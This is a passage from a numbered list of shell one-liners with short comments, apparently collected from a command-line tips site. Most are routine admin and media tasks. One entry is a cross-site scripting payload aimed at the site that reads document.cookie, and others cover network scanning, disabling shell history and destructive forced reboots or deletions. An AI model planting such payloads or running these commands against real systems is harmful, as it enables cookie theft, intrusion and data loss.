  1521. # What is my ip?
  1522. curl http://www.whatismyip.org/
  1523.  
  1524. # grep -v with multiple patterns.
  1525. grep 'test' somefile | grep -vE '(error|critical|warning)'
  1526.  
  1527. # lotto generator
  1528. echo $(shuf -i 1-49 | head -n6 | sort -n)
  1529.  
  1530. # convert filenames in current directory to lowercase
  1531. rename 'y/A-Z/a-z/' *
  1532.  
  1533. # Monitor a file's size
  1534. watch -n60 du /var/log/messages
  1535.  
  1536. # FAST and NICE Search and Replace for Strings in Files
  1537. nice -n19 sh -c 'S=askapache && R=htaccess; find . -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e s%${S}%${R}% FF'
  1538.  
  1539.  
  1540.  
  1541. # save date and time for each command in history
  1542. export HISTTIMEFORMAT="%h/%d-%H:%M:%S "
  1543.  
  1544. # Create/open/use encrypted directory
  1545. encfs ~/.crypt ~/crypt
  1546.  
  1547. # Function that outputs dots every second until command completes
  1548. sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper
  1549.  
  1550. # Log your internet download speed
  1551. echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &
  1552.  
  1553. # Backup files older than 1 day on /home/dir, gzip them, moving old file to a dated file.
  1554. find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \;
  1555.  
  1556. # Show directories in the PATH, one per line
  1557. echo $PATH | tr \: \\n
  1558.  
  1559. # vim easter egg
  1560. $ vim ... :help 42
  1561.  
  1562. # Find the process you are looking for minus the grepped one
  1563. pgrep command_name
  1564.  
  1565. # Add
  1566. rename 's/^/prefix/' *
  1567.  
  1568. # uncomment the lines where the word DEBUG is found
  1569. sed '/^#.*DEBUG.*/ s/^#//' $FILE
  1570.  
  1571. # put all lines in comment where de word DEBUG is found
  1572. sed -i 's/^.*DEBUG.*/#&/' $file
  1573.  
  1574. # Follow tail by name (fix for rolling logs with tail -f)
  1575. tail -F file
  1576.  
  1577. # Disable annoying sound emanations from the PC speaker
  1578. sudo rmmod pcspkr
  1579.  
  1580. # Stripping ^M at end of each line for files
  1581. dos2unix <filenames>
  1582.  
  1583. # IFS - use entire lines in your for cycles
  1584. export IFS=$(echo -e "\n")
  1585.  
  1586. # Compare a remote file with a local file
  1587. vimdiff <file> scp://[<user>@]<host>/<file>
  1588.  
  1589. # Attempt an XSS exploit on commandlinefu.com
  1590. perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)" style="position:absolute;height:0;width:0;background:transparent;font-weight:normal;">xss</a>/<\/a>/g'
  1591.  
  1592. # Backup files incremental with rsync to a NTFS-Partition
  1593. rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/
  1594.  
  1595. # Set an alarm to wake up [2]
  1596. echo "aplay path/to/song" |at [time]
  1597.  
  1598. # Alias for getting OpenPGP keys for Launchpad PPAs on Ubuntu
  1599. alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys"
  1600.  
  1601. # Create a Multi-Part Archive Without Proprietary Junkware
  1602. tar czv Pictures | split -d -a 3 -b 16M - pics.tar.gz.
  1603.  
  1604. # disable history for current shell session
  1605. unset HISTFILE
  1606.  
  1607. # Go (cd) directly into a new temp folder
  1608. cd $(mktemp -d)
  1609.  
  1610. # for all flv files in a dir, grab the first frame and make a jpg.
  1611. for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done
  1612.  
  1613. # Dumping Audio stream from flv (using ffmpeg)
  1614. ffmpeg -i <filename>.flv -vn <filename>.mp3
  1615.  
  1616.  
  1617.  
  1618. # Enable ** to expand files recursively (>=bash-4.0)
  1619. shopt -s globstar
  1620.  
  1621. # Command Line to Get the Stock Quote via Yahoo
  1622. curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
  1623.  
  1624. # Plays Music from SomaFM
  1625. read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls
  1626.  
  1627. # Search for a single file and go to it
  1628. cd $(dirname $(find ~ -name emails.txt))
  1629.  
  1630. # sends your internal IP by email
  1631. ifconfig en1 | awk '/inet / {print $2}' | mail -s "hello world" email@email.com
  1632.  
  1633. # printing barcodes
  1634. ls /home | head -64 | barcode -t 4x16 | lpr
  1635.  
  1636. # Rot13 using the tr command
  1637. alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"
  1638.  
  1639. # Measures download speed on eth0
  1640. while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done
  1641.  
  1642. # loop over a set of items that contain spaces
  1643. ls | while read ITEM; do echo "$ITEM"; done
  1644.  
  1645. # Converts to PDF all the OpenOffice.org files in the directory
  1646. for i in $(ls *.od{tp]); do unoconv -f pdf $i; done
  1647.  
  1648. # Processes by CPU usage
  1649. ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"
  1650.  
  1651. # Rotate a set of photos matching their EXIF data.
  1652. jhead -autorot *.jpg
  1653.  
  1654. # Quickly find a count of how many times invalid users have attempted to access your system
  1655. gunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less
  1656.  
  1657. # New files from parts of current buffer
  1658. :n,m w newfile.txt
  1659.  
  1660. # Launch a command from a manpage
  1661. !date
  1662.  
  1663. # hard disk information - Model/serial no.
  1664. hdparm -i[I] /dev/sda
  1665.  
  1666. # Wrap text files on the command-line for easy reading
  1667. fold -s <filename>
  1668.  
  1669. # Re-read partition table on specified device without rebooting system (here /dev/sda).
  1670. blockdev --rereadpt /dev/sda
  1671.  
  1672. # Speak the top 6 lines of your twitter timeline every 5 minutes.....
  1673. while [ 1 ]; do curl -s -u username:password http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done
  1674.  
  1675. # Sort a one-per-line list of email address, weeding out duplicates
  1676. sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt
  1677.  
  1678. # Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself if something breaks the connection temporarily
  1679. autossh -f -M 20000 -D 8000 somehost -N
  1680.  
  1681. # Press ctrl+r in a bash shell and type a few letters of a previous command
  1682. ^r in bash begins a reverse-search-history with command completion
  1683.  
  1684. # List only directory names
  1685. ls -d */
  1686.  
  1687. # bash shortcut: !$ !^ !* !:3 !:h and !:t
  1688. echo foo bar foobar barfoo && echo !$ !^ !:3 !* && echo /usr/bin/foobar&& echo !$:h !$:t
  1689.  
  1690. # scp file from hostb to hostc while logged into hosta
  1691. scp user@hostb:file user@hostc:
  1692.  
  1693.  
  1694.  
  1695. # Backup all MySQL Databases to individual files
  1696. for I in `echo "show databases;" | mysql | grep -v Database`; do mysqldump $I > "$I.sql"; done
  1697.  
  1698. # To get you started!
  1699. vimtutor
  1700.  
  1701. # Wget Command to Download Full Recursive Version of Web Page
  1702. wget -p --convert-links http://www.foo.com
  1703.  
  1704. # Files extension change
  1705. rename .oldextension .newextension *.oldextension
  1706.  
  1707. # archive all files containing local changes (svn)
  1708. svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz
  1709.  
  1710. # watch process stack, sampled at 1s intervals
  1711. watch -n 1 'pstack 12345 | tac'
  1712.  
  1713. # fast access to any of your favorite directory.
  1714. alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'
  1715.  
  1716. # Block an IP address from connecting to a server
  1717. iptables -A INPUT -s 222.35.138.25/32 -j DROP
  1718.  
  1719. # infile search and replace on N files (including backup of the files)
  1720. perl -pi.bk -e's/foo/bar/g' file1 file2 fileN
  1721.  
  1722. # Resume a detached screen session, resizing to fit the current terminal
  1723. screen -raAd
  1724.  
  1725. # send DD a signal to print its progress
  1726. while :;do killall -USR1 dd;sleep 1;done
  1727.  
  1728. # Get your outgoing IP address
  1729. curl -s icanhazip.com
  1730.  
  1731. # Convert a Nero Image File to ISO
  1732. dd bs=1k if=image.nrg of=image.iso skip=300
  1733.  
  1734. # Print a row of 50 hyphens
  1735. python -c 'print "-"*50'
  1736.  
  1737. # Save a file you edited in vim without the needed permissions (no echo)
  1738. :w !sudo tee > /dev/null %
  1739.  
  1740. # JSON processing with Python
  1741. curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R
  1742.  
  1743. # Move items from subdirectories to current directory
  1744. find -type f -exec mv {} . \;
  1745.  
  1746. # Download free e-books
  1747. wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait -PmyBooksFolder -nd --no-parent -A.pdf http://URL
  1748.  
  1749. # grep tab chars
  1750. grep "^V<TAB>" your_file
  1751.  
  1752. # Start a HTTP server which serves Python docs
  1753. pydoc -p 8888 & gnome-open http://localhost:8888
  1754.  
  1755. # Define words and phrases with google.
  1756. define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Eo '<li>[^<]+'|sed 's/^<li>//g'|nl|/usr/bin/perl -MHTML::Entities -pe 'decode_entities($_)';}
  1757.  
  1758. # Check RAM size
  1759. free -mto
  1760.  
  1761. # Remote control for Rhythmbox on an Ubuntu Media PC
  1762. alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start'
  1763.  
  1764. # Check which files are opened by Firefox then sort by largest size.
  1765. lsof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if(s>0) print (s)" MB -- "$9 | "sort -rn" }'
  1766.  
  1767. # Edit video by cutting the part you like without transcoding.
  1768. mencoder -ss <start point> -endpos <time from start point> -oac copy -ovc copy <invid> -o <outvid>
  1769.  
  1770.  
  1771.  
  1772. # Pretty man pages under X
  1773. function manpdf() {man -t $1 | ps2pdf - - | epdfview -}
  1774.  
  1775. # live ssh network throughput test
  1776. pv /dev/zero|ssh $host 'cat > /dev/null'
  1777.  
  1778. # show ls colors with demo
  1779. echo $LS_COLORS | sed 's/:/\n/g' | awk -F= '!/^$/{printf("%s \x1b[%smdemo\x1b[0m\n",$0,$2)}'
  1780.  
  1781. # Show when filesystem was created
  1782. dumpe2fs -h /dev/DEVICE | grep 'created'
  1783.  
  1784. # generate random password
  1785. pwgen -Bs 10 1
  1786.  
  1787. # Use colordiff in side-by-side mode, and with automatic column widths.
  1788. colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2
  1789.  
  1790. # Shell function to exit script with error in exit status and print optional message to stderr
  1791. die(){ result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;}
  1792.  
  1793. # exit if another instance is running
  1794. pidof -x -o $$ ${0##*/} && exit
  1795.  
  1796. # search ubuntu packages to find which package contains the executable program programname
  1797. apt-file find bin/programname
  1798.  
  1799. # Execute most recent command containing search string.
  1800. !?<string>?
  1801.  
  1802. # Display GCC Predefined Macros
  1803. gcc -dM -E - < /dev/null
  1804.  
  1805. # Password Generation
  1806. pwgen --alt-phonics --capitalize 9 10
  1807.  
  1808. # command line calculator
  1809. calc(){ awk "BEGIN{ print $* }" ;}
  1810.  
  1811. # Extract a bash function
  1812. sed -n '/^function h\(\)/,/^}/p' script.sh
  1813.  
  1814. # Remount a usb disk in Gnome without physically removing and reinserting
  1815. eject /dev/sdb; sleep 1; eject -t /dev/sdb
  1816.  
  1817. # autossh + ssh + screen = super rad perma-sessions
  1818. AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'
  1819.  
  1820. # Sort all running processes by their memory & CPU usage
  1821. ps aux --sort=%mem,%cpu
  1822.  
  1823. # On screen display of a command.
  1824. date|osd_cat
  1825.  
  1826. # Smart renaming
  1827. mmv 'banana_*_*.asc' 'banana_#2_#1.asc'
  1828.  
  1829. # Detect if we are running on a VMware virtual machine
  1830. dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}'
  1831.  
  1832. # Record microphone input and output to date stamped mp3 file
  1833. arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3
  1834.  
  1835. # Execute text from the OS X clipboard.
  1836. `pbpaste` | pbcopy
  1837.  
  1838. # Select and Edit a File in the Current Directory
  1839. PS3="Enter a number: "; select f in *;do $EDITOR $f; break; done
  1840.  
  1841. # command to change the exif date time of a image
  1842. exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg
  1843.  
  1844. # Find running binary executables that were not installed using dpkg
  1845. cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin
  1846.  
  1847.  
  1848.  
  1849. # connect via ssh using mac address
  1850. ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:cf:56:b2:2g | awk '{print $2}' | sed -e 's/(//' -e 's/)//'`
  1851.  
  1852. # cycle through a 256 colour palette
  1853. yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
  1854.  
  1855. # How to run a command on a list of remote servers read from a file
  1856. while read server; do ssh -n user@$server "command"; done < servers.txt
  1857.  
  1858. # Replace spaces in filenames with underscorees
  1859. ls | while read f; do mv "$f" "${f// /_}";done
  1860.  
  1861. # Sort file greater than a specified size in human readeable format including their path and typed by color, running from current directory
  1862. find ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color
  1863.  
  1864. # move a lot of files over ssh
  1865. rsync -az /home/user/test user@sshServer:/tmp/
  1866.  
  1867. # log your PC's motherboard and CPU temperature along with the current date
  1868. echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat /proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log
  1869.  
  1870. # Verbosely delete files matching specific name pattern, older than 15 days.
  1871. find /backup/directory -name "FILENAME_*" -mtime +15 | xargs rm -vf
  1872.  
  1873. # Connect to SMTP server using STARTTLS
  1874. openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25
  1875.  
  1876. # Check availability of Websites based on HTTP_CODE
  1877. urls=('www.ubuntu.com' 'google.com'); for i in ${urls[@]}; do http_code=$(curl -I -s $i -w %{http_code}); echo $i status: ${http_code:9:3}; done
  1878.  
  1879. # An easter egg built into python to give you the Zen of Python
  1880. python -c 'import this'
  1881.  
  1882. # Extract dd-image from VirtualBox VDI container and mount it
  1883. vditool COPYDD my.vdi my.dd ; sudo mount -t ntfs -o ro,noatime,noexex,loop,offset=32256 my.dd ./my_dir
  1884.  
  1885. # Testing php configuration
  1886. php -i
  1887.  
  1888. # back up your commandlinefu contributed commands
  1889. curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz
  1890.  
  1891. # currently mounted filesystems in nice layout
  1892. column -t /proc/mounts
  1893.  
  1894. # Salvage a borked terminal
  1895. <ctrl+j>stty sane<ctrl+j>
  1896.  
  1897. # Salvage a borked terminal
  1898. echo <ctrl-v><esc>c<enter>
  1899.  
  1900. # convert a web page into a png
  1901. touch $2;firefox -print $1 -printmode PNG -printfile $2
  1902.  
  1903. # Copy a directory recursively without data/files
  1904. find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \;
  1905.  
  1906. # Determine what version of bind is running on a dns server.
  1907. dig -t txt -c chaos VERSION.BIND @<dns.server.com>
  1908.  
  1909. # Prints total line count contribution per user for an SVN repository
  1910. svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r
  1911.  
  1912. # ssh autocomplete
  1913. complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))" ssh
  1914.  
  1915. # Submit data to a HTML form with POST method and save the response
  1916. curl -sd 'rid=value&submit=SUBMIT' <URL> > out.html
  1917.  
  1918. # count how many times a string appears in a (source code) tree
  1919. $ grep -or string path/ | wc -l
  1920.  
  1921. # Create a tar archive using 7z compression
  1922. tar cf - /path/to/data | 7z a -si archivename.tar.7z
  1923.  
  1924.  
  1925.  
  1926. # Outputs files with ascii art in the intended form.
  1927. iconv -f437 -tutf8 asciiart.nfo
  1928.  
  1929. # Use Cygwin to talk to the Windows clipboard
  1930. cat /dev/clipboard; $(somecommand) > /dev/clipboard
  1931.  
  1932. # Update twitter from command line without reveal your password
  1933. curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml
  1934.  
  1935. # permanently let grep colorize its output
  1936. echo alias grep=\'grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc
  1937.  
  1938. # Scan Network for Rogue APs.
  1939. nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan 10.0.0.0/8
  1940.  
  1941. # Merges given files line by line
  1942. paste -d ',:' file1 file2 file3
  1943.  
  1944. # Easily scp a file back to the host you're connecting from
  1945. mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }
  1946.  
  1947. # Find broken symlinks and delete them
  1948. find -L /path/to/check -type l -delete
  1949.  
  1950. # Find corrupted jpeg image files
  1951. find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR"
  1952.  
  1953. # Get line number of all matches in a file
  1954. awk '/match/{print NR}' file
  1955.  
  1956. # du disk top 10
  1957. for i in `du --max-depth=1 $HOME | sort -n -r | awk '{print $1 ":" $2}'`; do size=`echo $i | awk -F: '{print $1}'`; dir=`echo $i | awk -F: '{print $NF}'`; size2=$(($size/1024)); echo "$size2 MB used by $dir"; done | head -n 10
  1958.  
  1959. # List and delete files older than one year
  1960. find <directory path> -mtime +365 -and -not -type d -delete
  1961.  
  1962. # backup and remove files with access time older than 5 days.
  1963. tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5` 2> /dev/null | xargs rm -fr ;
  1964.  
  1965. # Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or whatever)
  1966. tcs -f 8859-1 -t utf /some/file
  1967.  
  1968. # Execute multiple commands from history
  1969. !219 ; !229 ; !221
  1970.  
  1971. # Interactively build regular expressions
  1972. txt2regex
  1973.  
  1974. # Quick screenshot
  1975. import -pause 5 -window root desktop_screenshot.jpg
  1976.  
  1977. # The NMAP command you can use scan for the Conficker virus on your LAN
  1978. nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.0.1-254
  1979.  
  1980. # Generate a list of installed packages on Debian-based systems
  1981. dpkg --get-selections > LIST_FILE
  1982.  
  1983. # Fibonacci numbers with awk
  1984. seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'
  1985.  
  1986. # Display which user run process from given port name
  1987. fuser -nu tcp 3691
  1988.  
  1989. # Decreasing the cdrom device speed
  1990. eject -x 4
  1991.  
  1992. # Show webcam output
  1993. mplayer tv:// -tv driver=v4l:width=352:height=288
  1994.  
  1995. # Open the last file you edited in Vim.
  1996. alias lvim="vim -c \"normal '0\""
  1997.  
  1998. # Merge *.pdf files
  1999. gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`
  2000.  
  2001.  
  2002.  
  2003. # Convert images to a multi-page pdf
  2004. convert -adjoin -page A4 *.jpeg multipage.pdf
  2005.  
  2006. # Keep from having to adjust your volume constantly
  2007. find . -iname \*.mp3 -print0 | xargs -0 mp3gain -krd 6 && vorbisgain -rfs .
  2008.  
  2009. # Poke a Webserver to see what it's powered by.
  2010. wget -S -O/dev/null "INSERT_URL_HERE" 2>&1 | grep Server
  2011.  
  2012. # Exclude svn directories with grep
  2013. grep -r --exclude-dir=.svn PATTERN PATH
  2014.  
  2015. # show dd progress
  2016. killall -USR1 dd
  2017.  
  2018. # mp3 streaming
  2019. nc -l -p 2000 < song.mp3
  2020.  
  2021. # Convert .wma files to .ogg with ffmpeg
  2022. find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;
  2023.  
  2024. # VIM version 7: edit in tabs
  2025. vim -p file1 file2 ...
  2026.  
  2027. # Copy specific files to another machine, keeping the file hierarchy
  2028. tar cpfP - $(find <somedir> -type f -name *.png) | ssh user@host | tar xpfP -
  2029.  
  2030. # Generate Random Passwords
  2031. < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6
  2032.  
  2033. # split a string (2)
  2034. read VAR1 VAR2 VAR3 < <(echo aa bb cc); echo $VAR2
  2035.  
  2036. # Redirect a filehandle from a currently running process.
  2037. yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p pid
  2038.  
  2039. # Synthesize text as speech
  2040. echo "hello world" | festival --tts
  2041.  
  2042. # Mute xterm
  2043. xset b off
  2044.  
  2045. # C one-liners
  2046. /lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liners\\n");}' | gcc -x c -o /dev/stdout -)
  2047.  
  2048. # Force machine to reboot no matter what (even if /sbin/shutdown is hanging)
  2049. echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
  2050.  
  2051. # Use /dev/full to test language I/O-failsafety
  2052. perl -e 'print 1, 2, 3' > /dev/full
  2053.  
  2054. # Generate a graph of package dependencies
  2055. apt-cache dotty apache2 | dot -T png | display
  2056.  
  2057. # List your sudo rights
  2058. sudo -l
  2059.  
  2060. # Copy history from one terminal to another
  2061. history -w <switch to another terminal> history -r
  2062.  
  2063. # Create an SSH tunnel for accessing your remote MySQL database with a local port
  2064. ssh -CNL 3306:localhost:3306 user@site.com
  2065.  
  2066. # Export MySQL query as .csv file
  2067. echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > outfile.csv
  2068.  
  2069. # Check the age of the filesystem
  2070. df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create
  2071.  
  2072. # Add temporary swap space
  2073. dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile
  2074.  
  2075. # print indepth hardware info
  2076. sudo dmidecode | more
  2077.  
  2078.  
  2079.  
  2080. # ubuntu easter eggs
  2081. apt-get moo
  2082.  
  2083. # Get a quick list of all user and group owners of files and dirs under the cwd.
  2084. find -printf '%u %g\n' | sort | uniq
  2085.  
  2086. # Convert the contents of a directory listing into a colon-separated environment variable
  2087. find . -name '*.jar' -printf '%f:'
  2088.  
  2089. # quick input
  2090. alt + .
  2091.  
  2092. # know the current running shell (the true)
  2093. echo $0
  2094.  
  2095. # Exclude grep from your grepped output of ps (alias included in description)
  2096. ps aux | grep [h]ttpd
  2097.  
  2098. # make a log of a terminal session
  2099. script
  2100.  
  2101. # seq can produce the same thing as Perl's ... operator.
  2102. for i in $(seq 1 50) ; do echo Iteration $i ; done
  2103.  
  2104. # top 10 commands used
  2105. sed -e 's/ *$//' ~/.bash_history | sort | uniq -cd | sort -nr | head
  2106.  
  2107. # Quick way to sum every numbers in a file written line by line
  2108. (sed 's/^/x+=/' [yourfile] ; echo x) | bc
  2109.  
  2110. # cat a file backwards
  2111. tac file.txt
  2112.  
  2113. # Count the number of queries to a MySQL server
  2114. echo "SHOW PROCESSLIST\G" | mysql -u root -p | grep "Info:" | awk -F":" '{count[$NF]++}END{for(i in count){printf("%d: %s\n", count[i], i)}}' | sort -n
  2115.  
  2116. # Outputs a sorted list of disk usage to a text file
  2117. du | sort -gr > file_sizes
  2118.  
  2119. # Quickly share code or text from vim to others.
  2120. :w !curl -F "sprunge=<-" http://sprunge.us | xclip
  2121.  
  2122. # run remote linux desktop
  2123. xterm -display :12.0 -e ssh -X user@server &
  2124.  
  2125. # find all active IP addresses in a network
  2126. nmap -sP 192.168.1.0/24; arp -n | grep "192.168.1.[0-9]* *ether"
  2127.  
  2128. # Unix commandline history substitution like ^foo^bar BUT for multiple replacements
  2129. !!:gs/Original/New/
  2130.  
  2131. # Find pages returning 404 errors in apache logs
  2132. awk '$9 == 404 {print $7}' access_log | uniq -c | sort -rn | head
  2133.  
  2134. # Robust expansion (i.e. crash) of bash variables with a typo
  2135. set -eu
  2136.  
  2137. # dd with progress bar
  2138. dd if=/dev/nst0 |pv|dd of=restored_file.tar
  2139.  
  2140. # Copy file content to X clipboard
  2141. :%y *
  2142.  
  2143. # Print a row of characters across the terminal
  2144. seq -s'#' 0 $(tput cols) | tr -d '[:digit:]'
  2145.  
  2146. # nagios wrapper for any script/cron etc
  2147. CMD="${1}"; LOG="${2}"; N_HOST="${3}"; N_SERVICE="${4}"; ${CMD} >${LOG} 2>&1; EXITSTAT=${?}; OUTPUT="$(tail -1 ${LOG})";echo "${HOSTNAME}:${N_SERVICE}:${EXITSTAT}:${OUTPUT}" | send_nsca -H ${N_HOST} -d : -c /etc/nagios/send_nsca.cfg >/dev/null 2>&1
  2148.  
  2149. # simple backup with rsync
  2150. 0 10 * * * rsync -rau /[VIPdirectory] X.X.X.X:/backup/[VIPdirectory]
  2151.  
  2152. # a function to create a box of '=' characters around a given string.
  2153. box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; }
  2154.  
  2155.  
  2156.  
  2157. # Show top committers for SVN repositority for today
  2158. svn log -r {`date "+%Y-%m-%d"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
  2159.  
  2160. # shell function to make gnu info act like man.
  2161. myinfo() { info --subnodes -o - $1 | less; }
  2162.  
  2163. # Get your commandlinefu points (upvotes - downvotes)
  2164. username=matthewbauer; curl -s http://www.commandlinefu.com/commands/by/$username/json | tr '{' '\n' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr '\n' '+' | sed 's/+$/\n/' | bc
  2165.  
  2166. # split a multi-page PDF into separate files
  2167. pdftk in.pdf burst
  2168.  
  2169. # Extend a logical volume to use up all the free space in a volume group
  2170. lvextend -l +100%FREE /dev/VolGroup00/LogVol00
  2171.  
  2172. # Use bash history with process substitution
  2173. <(!!)
  2174.  
  2175. # How to secure delete a file
  2176. shred -u -z -n 17 rubricasegreta.txt
  2177.  
  2178. # Replace spaces in filenames with underscores
  2179. for f in *;do mv "$f" "${f// /_}";done
  2180.  
  2181. # Show some trivia related to the current date
  2182. calendar
  2183.  
  2184. # Give to anyone a command to immediatly find a particular part of a man.
  2185. man <COMMAND> | less +'/pattern'
  2186.  
  2187. # Optimize PDF documents
  2188. gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
  2189.  
  2190. # Do some learning...
  2191. for i in $(ls /usr/bin); do whatis $i | grep -v nothing; done | more
  2192.  
  2193. # get bofh excuse from a trusted source :-)
  2194. telnet bofh.jeffballard.us 666
  2195.  
  2196. # Rename .JPG to .jpg recursively
  2197. find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;
  2198.  
  2199. # external projector for presentations
  2200. xrandr --auto
  2201.  
  2202. # climagic's New Year's Countdown clock
  2203. while V=$((`date +%s -d"2010-01-01"`-`date +%s`));do if [ $V == 0 ];then figlet 'Happy New Year!';break;else figlet $V;sleep 1;clear;fi;done
  2204.  
  2205. # Increase mplayer maximum volume
  2206. mplayer dvd:// -softvol -softvol-max 500
  2207.  
  2208. # Display the output of a command from the first line until the first instance of a regular expression.
  2209. command | sed -n '1,/regex/p'
  2210.  
  2211. # Print trending topics on Twitter
  2212. curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}'
  2213.  
  2214. # Block the 6700 worst spamhosts
  2215. wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts
  2216.  
  2217. # See non printable caracters like tabulations, CRLF, LF line terminators ( colored )
  2218. od -c <FILE> | grep --color '\\.'
  2219.  
  2220. # determine if tcp port is open
  2221. nc -zw2 www.example.com 80 && echo open
  2222.  
  2223. # Get the time from NIST.GOV
  2224. cat </dev/tcp/time.nist.gov/13
  2225.  
  2226. # Script executes itself on another host with one ssh command
  2227. [ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client
  2228.  
  2229. # Find the cover image for an album
  2230. albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*largeImagePopup\(.|., .*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /+}'&itempage=1&newsearch=1&searchindex=Music');}
  2231.  
  2232.  
  2233.  
  2234. # aptitude easter eggs
  2235. aptitude moo
  2236.  
  2237. # Remove executable bit from all files in the current directory recursively, excluding other directories
  2238. chmod -R -x+X *
  2239.  
  2240. # another tweet function
  2241. tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; }
  2242.  
  2243. # Press Any Key to Continue
  2244. read -sn 1 -p 'Press any key to continue...';echo
  2245.  
  2246. # cpu and memory usage top 10 under Linux
